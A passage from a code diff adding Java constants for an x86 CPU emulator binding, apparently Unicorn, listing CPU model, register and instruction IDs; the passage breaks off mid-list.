X86 CPU + + public static final int UC_CPU_X86_QEMU64 = 0; + public static final int UC_CPU_X86_PHENOM = 1; + public static final int UC_CPU_X86_CORE2DUO = 2; + public static final int UC_CPU_X86_KVM64 = 3; + public static final int UC_CPU_X86_QEMU32 = 4; + public static final int UC_CPU_X86_KVM32 = 5; + public static final int UC_CPU_X86_COREDUO = 6; + public static final int UC_CPU_X86_486 = 7; + public static final int UC_CPU_X86_PENTIUM = 8; + public static final int UC_CPU_X86_PENTIUM2 = 9; + public static final int UC_CPU_X86_PENTIUM3 = 10; + public static final int UC_CPU_X86_ATHLON = 11; + public static final int UC_CPU_X86_N270 = 12; + public static final int UC_CPU_X86_CONROE = 13; + public static final int UC_CPU_X86_PENRYN = 14; + public static final int UC_CPU_X86_NEHALEM = 15; + public static final int UC_CPU_X86_WESTMERE = 16; + public static final int UC_CPU_X86_SANDYBRIDGE = 17; + public static final int UC_CPU_X86_IVYBRIDGE = 18; + public static final int UC_CPU_X86_HASWELL = 19; + public static final int UC_CPU_X86_BROADWELL = 20; + public static final int UC_CPU_X86_SKYLAKE_CLIENT = 21; + public static final int UC_CPU_X86_SKYLAKE_SERVER = 22; + public static final int UC_CPU_X86_CASCADELAKE_SERVER = 23; + public static final int UC_CPU_X86_COOPERLAKE = 24; + public static final int UC_CPU_X86_ICELAKE_CLIENT = 25; + public static final int UC_CPU_X86_ICELAKE_SERVER = 26; + public static final int UC_CPU_X86_DENVERTON = 27; + public static final int UC_CPU_X86_SNOWRIDGE = 28; + public static final int UC_CPU_X86_KNIGHTSMILL = 29; + public static final int UC_CPU_X86_OPTERON_G1 = 30; + public static final int UC_CPU_X86_OPTERON_G2 = 31; + public static final int UC_CPU_X86_OPTERON_G3 = 32; + public static final int UC_CPU_X86_OPTERON_G4 = 33; + public static final int UC_CPU_X86_OPTERON_G5 = 34; + public static final int UC_CPU_X86_EPYC = 35; + public static final int UC_CPU_X86_DHYANA = 36; + public static final int UC_CPU_X86_EPYC_ROME = 37; + public static final int UC_CPU_X86_ENDING = 38; + + // X86 registers + + public static final int UC_X86_REG_INVALID = 0; + public static final int UC_X86_REG_AH = 1; + public static final int UC_X86_REG_AL = 2; + public static final int UC_X86_REG_AX = 3; + public static final int UC_X86_REG_BH = 4; + public static final int UC_X86_REG_BL = 5; + public static final int UC_X86_REG_BP = 6; + public static final int UC_X86_REG_BPL = 7; + public static final int UC_X86_REG_BX = 8; + public static final int UC_X86_REG_CH = 9; + public static final int UC_X86_REG_CL = 10; + public static final int UC_X86_REG_CS = 11; + public static final int UC_X86_REG_CX = 12; + public static final int UC_X86_REG_DH = 13; + public static final int UC_X86_REG_DI = 14; + public static final int UC_X86_REG_DIL = 15; + public static final int UC_X86_REG_DL = 16; + public static final int UC_X86_REG_DS = 17; + public static final int UC_X86_REG_DX = 18; + public static final int UC_X86_REG_EAX = 19; + public static final int UC_X86_REG_EBP = 20; + public static final int UC_X86_REG_EBX = 21; + public static final int UC_X86_REG_ECX = 22; + public static final int UC_X86_REG_EDI = 23; + public static final int UC_X86_REG_EDX = 24; + public static final int UC_X86_REG_EFLAGS = 25; + public static final int UC_X86_REG_EIP = 26; + public static final int UC_X86_REG_ES = 28; + public static final int UC_X86_REG_ESI = 29; + public static final int UC_X86_REG_ESP = 30; + public static final int UC_X86_REG_FPSW = 31; + public static final int UC_X86_REG_FS = 32; + public static final int UC_X86_REG_GS = 33; + public static final int UC_X86_REG_IP = 34; + public static final int UC_X86_REG_RAX = 35; + public static final int UC_X86_REG_RBP = 36; + public static final int UC_X86_REG_RBX = 37; + public static final int UC_X86_REG_RCX = 38; + public static final int UC_X86_REG_RDI = 39; + public static final int UC_X86_REG_RDX = 40; + public static final int UC_X86_REG_RIP = 41; + public static final int UC_X86_REG_RSI = 43; + public static final int UC_X86_REG_RSP = 44; + public static final int UC_X86_REG_SI = 45; + public static final int UC_X86_REG_SIL = 46; + public static final int UC_X86_REG_SP = 47; + public static final int UC_X86_REG_SPL = 48; + public static final int UC_X86_REG_SS = 49; + public static final int UC_X86_REG_CR0 = 50; + public static final int UC_X86_REG_CR1 = 51; + public static final int UC_X86_REG_CR2 = 52; + public static final int UC_X86_REG_CR3 = 53; + public static final int UC_X86_REG_CR4 = 54; + public static final int UC_X86_REG_CR8 = 58; + public static final int UC_X86_REG_DR0 = 66; + public static final int UC_X86_REG_DR1 = 67; + public static final int UC_X86_REG_DR2 = 68; + public static final int UC_X86_REG_DR3 = 69; + public static final int UC_X86_REG_DR4 = 70; + public static final int UC_X86_REG_DR5 = 71; + public static final int UC_X86_REG_DR6 = 72; + public static final int UC_X86_REG_DR7 = 73; + public static final int UC_X86_REG_FP0 = 82; + public static final int UC_X86_REG_FP1 = 83; + public static final int UC_X86_REG_FP2 = 84; + public static final int UC_X86_REG_FP3 = 85; + public static final int UC_X86_REG_FP4 = 86; + public static final int UC_X86_REG_FP5 = 87; + public static final int UC_X86_REG_FP6 = 88; + public static final int UC_X86_REG_FP7 = 89; + public static final int UC_X86_REG_K0 = 90; + public static final int UC_X86_REG_K1 = 91; + public static final int UC_X86_REG_K2 = 92; + public static final int UC_X86_REG_K3 = 93; + public static final int UC_X86_REG_K4 = 94; + public static final int UC_X86_REG_K5 = 95; + public static final int UC_X86_REG_K6 = 96; + public static final int UC_X86_REG_K7 = 97; + public static final int UC_X86_REG_MM0 = 98; + public static final int UC_X86_REG_MM1 = 99; + public static final int UC_X86_REG_MM2 = 100; + public static final int UC_X86_REG_MM3 = 101; + public static final int UC_X86_REG_MM4 = 102; + public static final int UC_X86_REG_MM5 = 103; + public static final int UC_X86_REG_MM6 = 104; + public static final int UC_X86_REG_MM7 = 105; + public static final int UC_X86_REG_R8 = 106; + public static final int UC_X86_REG_R9 = 107; + public static final int UC_X86_REG_R10 = 108; + public static final int UC_X86_REG_R11 = 109; + public static final int UC_X86_REG_R12 = 110; + public static final int UC_X86_REG_R13 = 111; + public static final int UC_X86_REG_R14 = 112; + public static final int UC_X86_REG_R15 = 113; + public static final int UC_X86_REG_ST0 = 114; + public static final int UC_X86_REG_ST1 = 115; + public static final int UC_X86_REG_ST2 = 116; + public static final int UC_X86_REG_ST3 = 117; + public static final int UC_X86_REG_ST4 = 118; + public static final int UC_X86_REG_ST5 = 119; + public static final int UC_X86_REG_ST6 = 120; + public static final int UC_X86_REG_ST7 = 121; + public static final int UC_X86_REG_XMM0 = 122; + public static final int UC_X86_REG_XMM1 = 123; + public static final int UC_X86_REG_XMM2 = 124; + public static final int UC_X86_REG_XMM3 = 125; + public static final int UC_X86_REG_XMM4 = 126; + public static final int UC_X86_REG_XMM5 = 127; + public static final int UC_X86_REG_XMM6 = 128; + public static final int UC_X86_REG_XMM7 = 129; + public static final int UC_X86_REG_XMM8 = 130; + public static final int UC_X86_REG_XMM9 = 131; + public static final int UC_X86_REG_XMM10 = 132; + public static final int UC_X86_REG_XMM11 = 133; + public static final int UC_X86_REG_XMM12 = 134; + public static final int UC_X86_REG_XMM13 = 135; + public static final int UC_X86_REG_XMM14 = 136; + public static final int UC_X86_REG_XMM15 = 137; + public static final int UC_X86_REG_XMM16 = 138; + public static final int UC_X86_REG_XMM17 = 139; + public static final int UC_X86_REG_XMM18 = 140; + public static final int UC_X86_REG_XMM19 = 141; + public static final int UC_X86_REG_XMM20 = 142; + public static final int UC_X86_REG_XMM21 = 143; + public static final int UC_X86_REG_XMM22 = 144; + public static final int UC_X86_REG_XMM23 = 145; + public static final int UC_X86_REG_XMM24 = 146; + public static final int UC_X86_REG_XMM25 = 147; + public static final int UC_X86_REG_XMM26 = 148; + public static final int UC_X86_REG_XMM27 = 149; + public static final int UC_X86_REG_XMM28 = 150; + public static final int UC_X86_REG_XMM29 = 151; + public static final int UC_X86_REG_XMM30 = 152; + public static final int UC_X86_REG_XMM31 = 153; + public static final int UC_X86_REG_YMM0 = 154; + public static final int UC_X86_REG_YMM1 = 155; + public static final int UC_X86_REG_YMM2 = 156; + public static final int UC_X86_REG_YMM3 = 157; + public static final int UC_X86_REG_YMM4 = 158; + public static final int UC_X86_REG_YMM5 = 159; + public static final int UC_X86_REG_YMM6 = 160; + public static final int UC_X86_REG_YMM7 = 161; + public static final int UC_X86_REG_YMM8 = 162; + public static final int UC_X86_REG_YMM9 = 163; + public static final int UC_X86_REG_YMM10 = 164; + public static final int UC_X86_REG_YMM11 = 165; + public static final int UC_X86_REG_YMM12 = 166; + public static final int UC_X86_REG_YMM13 = 167; + public static final int UC_X86_REG_YMM14 = 168; + public static final int UC_X86_REG_YMM15 = 169; + public static final int UC_X86_REG_YMM16 = 170; + public static final int UC_X86_REG_YMM17 = 171; + public static final int UC_X86_REG_YMM18 = 172; + public static final int UC_X86_REG_YMM19 = 173; + public static final int UC_X86_REG_YMM20 = 174; + public static final int UC_X86_REG_YMM21 = 175; + public static final int UC_X86_REG_YMM22 = 176; + public static final int UC_X86_REG_YMM23 = 177; + public static final int UC_X86_REG_YMM24 = 178; + public static final int UC_X86_REG_YMM25 = 179; + public static final int UC_X86_REG_YMM26 = 180; + public static final int UC_X86_REG_YMM27 = 181; + public static final int UC_X86_REG_YMM28 = 182; + public static final int UC_X86_REG_YMM29 = 183; + public static final int UC_X86_REG_YMM30 = 184; + public static final int UC_X86_REG_YMM31 = 185; + public static final int UC_X86_REG_ZMM0 = 186; + public static final int UC_X86_REG_ZMM1 = 187; + public static final int UC_X86_REG_ZMM2 = 188; + public static final int UC_X86_REG_ZMM3 = 189; + public static final int UC_X86_REG_ZMM4 = 190; + public static final int UC_X86_REG_ZMM5 = 191; + public static final int UC_X86_REG_ZMM6 = 192; + public static final int UC_X86_REG_ZMM7 = 193; + public static final int UC_X86_REG_ZMM8 = 194; + public static final int UC_X86_REG_ZMM9 = 195; + public static final int UC_X86_REG_ZMM10 = 196; + public static final int UC_X86_REG_ZMM11 = 197; + public static final int UC_X86_REG_ZMM12 = 198; + public static final int UC_X86_REG_ZMM13 = 199; + public static final int UC_X86_REG_ZMM14 = 200; + public static final int UC_X86_REG_ZMM15 = 201; + public static final int UC_X86_REG_ZMM16 = 202; + public static final int UC_X86_REG_ZMM17 = 203; + public static final int UC_X86_REG_ZMM18 = 204; + public static final int UC_X86_REG_ZMM19 = 205; + public static final int UC_X86_REG_ZMM20 = 206; + public static final int UC_X86_REG_ZMM21 = 207; + public static final int UC_X86_REG_ZMM22 = 208; + public static final int UC_X86_REG_ZMM23 = 209; + public static final int UC_X86_REG_ZMM24 = 210; + public static final int UC_X86_REG_ZMM25 = 211; + public static final int UC_X86_REG_ZMM26 = 212; + public static final int UC_X86_REG_ZMM27 = 213; + public static final int UC_X86_REG_ZMM28 = 214; + public static final int UC_X86_REG_ZMM29 = 215; + public static final int UC_X86_REG_ZMM30 = 216; + public static final int UC_X86_REG_ZMM31 = 217; + public static final int UC_X86_REG_R8B = 218; + public static final int UC_X86_REG_R9B = 219; + public static final int UC_X86_REG_R10B = 220; + public static final int UC_X86_REG_R11B = 221; + public static final int UC_X86_REG_R12B = 222; + public static final int UC_X86_REG_R13B = 223; + public static final int UC_X86_REG_R14B = 224; + public static final int UC_X86_REG_R15B = 225; + public static final int UC_X86_REG_R8D = 226; + public static final int UC_X86_REG_R9D = 227; + public static final int UC_X86_REG_R10D = 228; + public static final int UC_X86_REG_R11D = 229; + public static final int UC_X86_REG_R12D = 230; + public static final int UC_X86_REG_R13D = 231; + public static final int UC_X86_REG_R14D = 232; + public static final int UC_X86_REG_R15D = 233; + public static final int UC_X86_REG_R8W = 234; + public static final int UC_X86_REG_R9W = 235; + public static final int UC_X86_REG_R10W = 236; + public static final int UC_X86_REG_R11W = 237; + public static final int UC_X86_REG_R12W = 238; + public static final int UC_X86_REG_R13W = 239; + public static final int UC_X86_REG_R14W = 240; + public static final int UC_X86_REG_R15W = 241; + public static final int UC_X86_REG_IDTR = 242; + public static final int UC_X86_REG_GDTR = 243; + public static final int UC_X86_REG_LDTR = 244; + public static final int UC_X86_REG_TR = 245; + public static final int UC_X86_REG_FPCW = 246; + public static final int UC_X86_REG_FPTAG = 247; + public static final int UC_X86_REG_MSR = 248; + public static final int UC_X86_REG_MXCSR = 249; + public static final int UC_X86_REG_FS_BASE = 250; + public static final int UC_X86_REG_GS_BASE = 251; + public static final int UC_X86_REG_FLAGS = 252; + public static final int UC_X86_REG_RFLAGS = 253; + public static final int UC_X86_REG_FIP = 254; + public static final int UC_X86_REG_FCS = 255; + public static final int UC_X86_REG_FDP = 256; + public static final int UC_X86_REG_FDS = 257; + public static final int UC_X86_REG_FOP = 258; + public static final int UC_X86_REG_ENDING = 259; + + // X86 instructions + + public static final int UC_X86_INS_INVALID = 0; + public static final int UC_X86_INS_AAA = 1; + public static final int UC_X86_INS_AAD = 2; + public static final int UC_X86_INS_AAM = 3; + public static final int UC_X86_INS_AAS = 4; + public static final int UC_X86_INS_FABS = 5; + public static final int UC_X86_INS_ADC = 6; + public static final int UC_X86_INS_ADCX = 7; + public static final int UC_X86_INS_ADD = 8; + public static final int UC_X86_INS_ADDPD = 9; + public static final int UC_X86_INS_ADDPS = 10; + public static final int UC_X86_INS_ADDSD = 11; + public static final int UC_X86_INS_ADDSS = 12; + public static final int UC_X86_INS_ADDSUBPD = 13; + public static final int UC_X86_INS_ADDSUBPS = 14; + public static final int UC_X86_INS_FADD = 15; + public static final int UC_X86_INS_FIADD = 16; + public static final int UC_X86_INS_FADDP = 17; + public static final int UC_X86_INS_ADOX = 18; + public static final int UC_X86_INS_AESDECLAST = 19; + public static final int UC_X86_INS_AESDEC = 20; + public static final int UC_X86_INS_AESENCLAST = 21; + public static final int UC_X86_INS_AESENC = 22; + public static final int UC_X86_INS_AESIMC = 23; + public static final int UC_X86_INS_AESKEYGENASSIST = 24; + public static final int UC_X86_INS_AND = 25; + public static final int UC_X86_INS_ANDN = 26; + public static final int UC_X86_INS_ANDNPD = 27; + public static final int UC_X86_INS_ANDNPS = 28; + public static final int UC_X86_INS_ANDPD = 29; + public static final int UC_X86_INS_ANDPS = 30; + public static final int UC_X86_INS_ARPL = 31; + public static final int UC_X86_INS_BEXTR = 32; + public static final int UC_X86_INS_BLCFILL = 33; + public static final int UC_X86_INS_BLCI = 34; + public static final int UC_X86_INS_BLCIC = 35; + public static final int UC_X86_INS_BLCMSK = 36; + public static final int UC_X86_INS_BLCS = 37; + public static final int UC_X86_INS_BLENDPD = 38; + public static final int UC_X86_INS_BLENDPS = 39; + public static final int UC_X86_INS_BLENDVPD = 40; + public static final int UC_X86_INS_BLENDVPS = 41; + public static final int UC_X86_INS_BLSFILL = 42; + public static final int UC_X86_INS_BLSI = 43; + public static final int UC_X86_INS_BLSIC = 44; + public static final int UC_X86_INS_BLSMSK = 45; + public static final int UC_X86_INS_BLSR = 46; + public static final int UC_X86_INS_BOUND = 47; + public static final int UC_X86_INS_BSF = 48; + public static final int UC_X86_INS_BSR = 49; + public static final int UC_X86_INS_BSWAP = 50; + public static final int UC_X86_INS_BT = 51; + public static final int UC_X86_INS_BTC = 52; + public static final int UC_X86_INS_BTR = 53; + public static final int UC_X86_INS_BTS = 54; + public static final int UC_X86_INS_BZHI = 55; + public static final int UC_X86_INS_CALL = 56; + public static final int UC_X86_INS_CBW = 57; + public static final int UC_X86_INS_CDQ = 58; + public static final int UC_X86_INS_CDQE = 59; + public static final int UC_X86_INS_FCHS = 60; + public static final int UC_X86_INS_CLAC = 61; + public static final int UC_X86_INS_CLC = 62; + public static final int UC_X86_INS_CLD = 63; + public static final int UC_X86_INS_CLFLUSH = 64; + public static final int UC_X86_INS_CLFLUSHOPT = 65; + public static final int UC_X86_INS_CLGI = 66; + public static final int UC_X86_INS_CLI = 67; + public static final int UC_X86_INS_CLTS = 68; + public static final int UC_X86_INS_CLWB = 69; + public static final int UC_X86_INS_CMC = 70; + public static final int UC_X86_INS_CMOVA = 71; + public static final int UC_X86_INS_CMOVAE = 72; + public static final int UC_X86_INS_CMOVB = 73; + public static final int UC_X86_INS_CMOVBE = 74; + public static final int UC_X86_INS_FCMOVBE = 75; + public static final int UC_X86_INS_FCMOVB = 76; + public static final int UC_X86_INS_CMOVE = 77; + public static final int UC_X86_INS_FCMOVE = 78; + public static final int UC_X86_INS_CMOVG = 79; + public static final int UC_X86_INS_CMOVGE = 80; + public static final int UC_X86_INS_CMOVL = 81; + public static final int UC_X86_INS_CMOVLE = 82; + public static final int UC_X86_INS_FCMOVNBE = 83; + public static final int UC_X86_INS_FCMOVNB = 84; + public static final int UC_X86_INS_CMOVNE = 85; + public static final int UC_X86_INS_FCMOVNE = 86; + public static final int UC_X86_INS_CMOVNO = 87; + public static final int UC_X86_INS_CMOVNP = 88; + public static final int UC_X86_INS_FCMOVNU = 89; + public static final int UC_X86_INS_CMOVNS = 90; + public static final int UC_X86_INS_CMOVO = 91; + public static final int UC_X86_INS_CMOVP = 92; + public static final int UC_X86_INS_FCMOVU = 93; + public static final int UC_X86_INS_CMOVS = 94; + public static final int UC_X86_INS_CMP = 95; + public static final int UC_X86_INS_CMPPD = 96; + public static final int UC_X86_INS_CMPPS = 97; + public static final int UC_X86_INS_CMPSB = 98; + public static final int UC_X86_INS_CMPSD = 99; + public static final int UC_X86_INS_CMPSQ = 100; + public static final int UC_X86_INS_CMPSS = 101; + public static final int UC_X86_INS_CMPSW = 102; + public static final int UC_X86_INS_CMPXCHG16B = 103; + public static final int UC_X86_INS_CMPXCHG = 104; + public static final int UC_X86_INS_CMPXCHG8B = 105; + public static final int UC_X86_INS_COMISD = 106; + public static final int UC_X86_INS_COMISS = 107; + public static final int UC_X86_INS_FCOMP = 108; + public static final int UC_X86_INS_FCOMPI = 109; + public static final int UC_X86_INS_FCOMI = 110; + public static final int UC_X86_INS_FCOM = 111; + public static final int UC_X86_INS_FCOS = 112; + public static final int UC_X86_INS_CPUID = 113; + public static final int UC_X86_INS_CQO = 114; + public static final int UC_X86_INS_CRC32 = 115; + public static final int UC_X86_INS_CVTDQ2PD = 116; + public static final int UC_X86_INS_CVTDQ2PS = 117; + public static final int UC_X86_INS_CVTPD2DQ = 118; + public static final int UC_X86_INS_CVTPD2PS = 119; + public static final int UC_X86_INS_CVTPS2DQ = 120; + public static final int UC_X86_INS_CVTPS2PD = 121; + public static final int UC_X86_INS_CVTSD2SI = 122; + public static final int UC_X86_INS_CVTSD2SS = 123; + public static final int UC_X86_INS_CVTSI2SD = 124; + public static final int UC_X86_INS_CVTSI2SS = 125; + public static final int UC_X86_INS_CVTSS2SD = 126; + public static final int UC_X86_INS_CVTSS2SI = 127; + public static final int UC_X86_INS_CVTTPD2DQ = 128; + public static final int UC_X86_INS_CVTTPS2DQ = 129; + public static final int UC_X86_INS_CVTTSD2SI = 130; + public static final int UC_X86_INS_CVTTSS2SI = 131; + public static final int UC_X86_INS_CWD = 132; + public static final int UC_X86_INS_CWDE = 133; + public static final int UC_X86_INS_DAA = 134; + public static final int UC_X86_INS_DAS = 135; + public static final int UC_X86_INS_DATA16 = 136; + public static final int UC_X86_INS_DEC = 137; + public static final int UC_X86_INS_DIV = 138; + public static final int UC_X86_INS_DIVPD = 139; + public static final int UC_X86_INS_DIVPS = 140; + public static final int UC_X86_INS_FDIVR = 141; + public static final int UC_X86_INS_FIDIVR = 142; + public static final int UC_X86_INS_FDIVRP = 143; + public static final int UC_X86_INS_DIVSD = 144; + public static final int UC_X86_INS_DIVSS = 145; + public static final int UC_X86_INS_FDIV = 146; + public static final int UC_X86_INS_FIDIV = 147; + public static final int UC_X86_INS_FDIVP = 148; + public static final int UC_X86_INS_DPPD = 149; + public static final int UC_X86_INS_DPPS = 150; + public static final int UC_X86_INS_RET = 151; + public static final int UC_X86_INS_ENCLS = 152; + public static final int UC_X86_INS_ENCLU = 153; + public static final int UC_X86_INS_ENTER = 154; + public static final int UC_X86_INS_EXTRACTPS = 155; + public static final int UC_X86_INS_EXTRQ = 156; + public static final int UC_X86_INS_F2XM1 = 157; + public static final int UC_X86_INS_LCALL = 158; + public static final int UC_X86_INS_LJMP = 159; + public static final int UC_X86_INS_FBLD = 160; + public static final int UC_X86_INS_FBSTP = 161; + public static final int UC_X86_INS_FCOMPP = 162; + public static final int UC_X86_INS_FDECSTP = 163; + public static final int UC_X86_INS_FEMMS = 164; + public static final int UC_X86_INS_FFREE = 165; + public static final int UC_X86_INS_FICOM = 166; + public static final int UC_X86_INS_FICOMP = 167; + public static final int UC_X86_INS_FINCSTP = 168; + public static final int UC_X86_INS_FLDCW = 169; + public static final int UC_X86_INS_FLDENV = 170; + public static final int UC_X86_INS_FLDL2E = 171; + public static final int UC_X86_INS_FLDL2T = 172; + public static final int UC_X86_INS_FLDLG2 = 173; + public static final int UC_X86_INS_FLDLN2 = 174; + public static final int UC_X86_INS_FLDPI = 175; + public static final int UC_X86_INS_FNCLEX = 176; + public static final int UC_X86_INS_FNINIT = 177; + public static final int UC_X86_INS_FNOP = 178; + public static final int UC_X86_INS_FNSTCW = 179; + public static final int UC_X86_INS_FNSTSW = 180; + public static final int UC_X86_INS_FPATAN = 181; + public static final int UC_X86_INS_FPREM = 182; + public static final int UC_X86_INS_FPREM1 = 183; + public static final int UC_X86_INS_FPTAN = 184; + public static final int UC_X86_INS_FFREEP = 185; + public static final int UC_X86_INS_FRNDINT = 186; + public static final int UC_X86_INS_FRSTOR = 187; + public static final int UC_X86_INS_FNSAVE = 188; + public static final int UC_X86_INS_FSCALE = 189; + public static final int UC_X86_INS_FSETPM = 190; + public static final int UC_X86_INS_FSINCOS = 191; + public static final int UC_X86_INS_FNSTENV = 192; + public static final int UC_X86_INS_FXAM = 193; + public static final int UC_X86_INS_FXRSTOR = 194; + public static final int UC_X86_INS_FXRSTOR64 = 195; + public static final int UC_X86_INS_FXSAVE = 196; + public static final int UC_X86_INS_FXSAVE64 = 197; + public static final int UC_X86_INS_FXTRACT = 198; + public static final int UC_X86_INS_FYL2X = 199; + public static final int UC_X86_INS_FYL2XP1 = 200; + public static final int UC_X86_INS_MOVAPD = 201; + public static final int UC_X86_INS_MOVAPS = 202; + public static final int UC_X86_INS_ORPD = 203; + public static final int UC_X86_INS_ORPS = 204; + public static final int UC_X86_INS_VMOVAPD = 205; + public static final int UC_X86_INS_VMOVAPS = 206; + public static final int UC_X86_INS_XORPD = 207; + public static final int UC_X86_INS_XORPS = 208; + public static final int UC_X86_INS_GETSEC = 209; + public static final int UC_X86_INS_HADDPD = 210; + public static final int UC_X86_INS_HADDPS = 211; + public static final int UC_X86_INS_HLT = 212; + public static final int UC_X86_INS_HSUBPD = 213; + public static final int UC_X86_INS_HSUBPS = 214; + public static final int UC_X86_INS_IDIV = 215; + public static final int UC_X86_INS_FILD = 216; + public static final int UC_X86_INS_IMUL = 217; + public static final int UC_X86_INS_IN = 218; + public static final int UC_X86_INS_INC = 219; + public static final int UC_X86_INS_INSB = 220; + public static final int UC_X86_INS_INSERTPS = 221; + public static final int UC_X86_INS_INSERTQ = 222; + public static final int UC_X86_INS_INSD = 223; + public static final int UC_X86_INS_INSW = 224; + public static final int UC_X86_INS_INT = 225; + public static final int UC_X86_INS_INT1 = 226; + public static final int UC_X86_INS_INT3 = 227; + public static final int UC_X86_INS_INTO = 228; + public static final int UC_X86_INS_INVD = 229; + public static final int UC_X86_INS_INVEPT = 230; + public static final int UC_X86_INS_INVLPG = 231; + public static final int UC_X86_INS_INVLPGA = 232; + public static final int UC_X86_INS_INVPCID = 233; + public static final int UC_X86_INS_INVVPID = 234; + public static final int UC_X86_INS_IRET = 235; + public static final int UC_X86_INS_IRETD = 236; + public static final int UC_X86_INS_IRETQ = 237; + public static final int UC_X86_INS_FISTTP = 238; + public static final int UC_X86_INS_FIST = 239; + public static final int UC_X86_INS_FISTP = 240; + public static final int UC_X86_INS_UCOMISD = 241; + public static final int UC_X86_INS_UCOMISS = 242; + public static final int UC_X86_INS_VCOMISD = 243; + public static final int UC_X86_INS_VCOMISS = 244; + public static final int UC_X86_INS_VCVTSD2SS = 245; + public static final int UC_X86_INS_VCVTSI2SD = 246; + public static final int UC_X86_INS_VCVTSI2SS = 247; + public static final int UC_X86_INS_VCVTSS2SD = 248; + public static final int UC_X86_INS_VCVTTSD2SI = 249; + public static final int UC_X86_INS_VCVTTSD2USI = 250; + public static final int UC_X86_INS_VCVTTSS2SI = 251; + public static final int UC_X86_INS_VCVTTSS2USI = 252; + public static final int UC_X86_INS_VCVTUSI2SD = 253; + public static final int UC_X86_INS_VCVTUSI2SS = 254; + public static final int UC_X86_INS_VUCOMISD = 255; + public static final int UC_X86_INS_VUCOMISS = 256; + public static final int UC_X86_INS_JAE = 257; + public static final int UC_X86_INS_JA = 258; + public static final int UC_X86_INS_JBE = 259; + public static final int UC_X86_INS_JB = 260; + public static final int UC_X86_INS_JCXZ = 261; + public static final int UC_X86_INS_JECXZ = 262; + public static final int UC_X86_INS_JE = 263; + public static final int UC_X86_INS_JGE = 264; + public static final int UC_X86_INS_JG = 265; + public static final int UC_X86_INS_JLE = 266; + public static final int UC_X86_INS_JL = 267; + public static final int UC_X86_INS_JMP = 268; + public static final int UC_X86_INS_JNE = 269; + public static final int UC_X86_INS_JNO = 270; + public static final int UC_X86_INS_JNP = 271; + public static final int UC_X86_INS_JNS = 272; + public static final int UC_X86_INS_JO = 273; + public static final int UC_X86_INS_JP = 274; + public static final int UC_X86_INS_JRCXZ = 275; + public static final int UC_X86_INS_JS = 276; + public static final int UC_X86_INS_KANDB = 277; + public static final int UC_X86_INS_KANDD = 278; + public static final int UC_X86_INS_KANDNB = 279; + public static final int UC_X86_INS_KANDND = 280; + public static final int UC_X86_INS_KANDNQ = 281; + public static final int UC_X86_INS_KANDNW = 282; + public static final int UC_X86_INS_KANDQ = 283; + public static final int UC_X86_INS_KANDW = 284; + public static final int UC_X86_INS_KMOVB = 285; + public static final int UC_X86_INS_KMOVD = 286; + public static final int UC_X86_INS_KMOVQ = 287; + public static final int UC_X86_INS_KMOVW = 288; + public static final int UC_X86_INS_KNOTB = 289; + public static final int UC_X86_INS_KNOTD = 290; + public static final int UC_X86_INS_KNOTQ = 291; + public static final int UC_X86_INS_KNOTW = 292; + public static final int UC_X86_INS_KORB = 293; + public static final int UC_X86_INS_KORD = 294; + public static final int UC_X86_INS_KORQ = 295; + public static final int UC_X86_INS_KORTESTB = 296; + public static final int UC_X86_INS_KORTESTD = 297; + public static final int UC_X86_INS_KORTESTQ = 298; + public static final int UC_X86_INS_KORTESTW = 299; + public static final int UC_X86_INS_KORW = 300; + public static final int UC_X86_INS_KSHIFTLB = 301; + public static final int UC_X86_INS_KSHIFTLD = 302; + public static final int UC_X86_INS_KSHIFTLQ = 303; + public static final int UC_X86_INS_KSHIFTLW = 304; + public static final int UC_X86_INS_KSHIFTRB = 305; + public static final int UC_X86_INS_KSHIFTRD = 306; + public static final int UC_X86_INS_KSHIFTRQ = 307; + public static final int UC_X86_INS_KSHIFTRW = 308; + public static final int UC_X86_INS_KUNPCKBW = 309; + public static final int UC_X86_INS_KXNORB = 310; + public static final int UC_X86_INS_KXNORD = 311; + public static final int UC_X86_INS_KXNORQ = 312; + public static final int UC_X86_INS_KXNORW = 313; + public static final int UC_X86_INS_KXORB = 314; + public static final int UC_X86_INS_KXORD = 315; + public static final int UC_X86_INS_KXORQ = 316; + public static final int UC_X86_INS_KXORW = 317; + public static final int UC_X86_INS_LAHF = 318; + public static final int UC_X86_INS_LAR = 319; + public static final int UC_X86_INS_LDDQU = 320; + public static final int UC_X86_INS_LDMXCSR = 321; + public static final int UC_X86_INS_LDS = 322; + public static final int UC_X86_INS_FLDZ = 323; + public static final int UC_X86_INS_FLD1 = 324; + public static final int UC_X86_INS_FLD = 325; + public static final int UC_X86_INS_LEA = 326; + public static final int UC_X86_INS_LEAVE = 327; + public static final int UC_X86_INS_LES = 328; + public static final int UC_X86_INS_LFENCE = 329; + public static final int UC_X86_INS_LFS = 330; + public static final int UC_X86_INS_LGDT = 331; + public static final int UC_X86_INS_LGS = 332; + public static final int UC_X86_INS_LIDT = 333; + public static final int UC_X86_INS_LLDT = 334; + public static final int UC_X86_INS_LMSW = 335; + public static final int UC_X86_INS_OR = 336; + public static final int UC_X86_INS_SUB = 337; + public static final int UC_X86_INS_XOR = 338; + public static final int UC_X86_INS_LODSB = 339; + public static final int UC_X86_INS_LODSD = 340; + public static final int UC_X86_INS_LODSQ = 341; + public static final int UC_X86_INS_LODSW = 342; + public static final int UC_X86_INS_LOOP = 343; + public static final int UC_X86_INS_LOOPE = 344; + public static final int UC_X86_INS_LOOPNE = 345; + public static final int UC_X86_INS_RETF = 346; + public static final int UC_X86_INS_RETFQ = 347; + public static final int UC_X86_INS_LSL = 348; + public static final int UC_X86_INS_LSS = 349; + public static final int UC_X86_INS_LTR = 350; + public static final int UC_X86_INS_XADD = 351; + public static final int UC_X86_INS_LZCNT = 352; + public static final int UC_X86_INS_MASKMOVDQU = 353; + public static final int UC_X86_INS_MAXPD = 354; + public static final int UC_X86_INS_MAXPS = 355; + public static final int UC_X86_INS_MAXSD = 356; + public static final int UC_X86_INS_MAXSS = 357; + public static final int UC_X86_INS_MFENCE = 358; + public static final int UC_X86_INS_MINPD = 359; + public static final int UC_X86_INS_MINPS = 360; + public static final int UC_X86_INS_MINSD = 361; + public static final int UC_X86_INS_MINSS = 362; + public static final int UC_X86_INS_CVTPD2PI = 363; + public static final int UC_X86_INS_CVTPI2PD = 364; + public static final int UC_X86_INS_CVTPI2PS = 365; + public static final int UC_X86_INS_CVTPS2PI = 366; + public static final int UC_X86_INS_CVTTPD2PI = 367; + public static final int UC_X86_INS_CVTTPS2PI = 368; + public static final int UC_X86_INS_EMMS = 369; + public static final int UC_X86_INS_MASKMOVQ = 370; + public static final int UC_X86_INS_MOVD = 371; + public static final int UC_X86_INS_MOVDQ2Q = 372; + public static final 